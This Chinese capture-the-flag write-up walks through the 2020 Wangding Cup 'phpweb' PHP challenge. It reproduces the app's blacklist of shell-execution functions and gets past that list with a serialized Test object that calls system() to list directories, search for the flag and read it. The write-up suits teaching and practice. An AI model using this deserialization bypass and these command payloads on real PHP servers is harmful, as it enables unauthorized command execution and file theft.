[网鼎杯 2020 朱雀组]phpweb

在这里插入代码片

刷新过后

看到他两个POST参数
他名字提示的很明显了，就是这个函数可以进行任意更改
我起初换成system()直接命令执行

可能他过滤了某些函数，那就读一下index.php的内容

  
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

果然禁用了system

这里我百度了下var是什么意思，这里是指public的别名

看到有个类，想到利用反序列化,因为他那个过滤只对我们输入的post的func进行了检查，在Test类里并没有检查，所以更改
Test类中的参数即可将我们的system函数传入
exp如下

 class Test {
        var $p = "ls /";
        var $func = "system";
}
$a = new Test();
echo serialize($a);
//unserialize
?>

找flag

find / -name flag*

将上面的exp命令改为这个即可，我直接写好像不行

找到了flag的位置
最后的exp如下

 class Test {
        var $p = "cat /tmp/flagoefiu4r93";
        var $func = "system";
}
$a = new Test();
echo serialize($a);
//unserialize
?>

传入得flag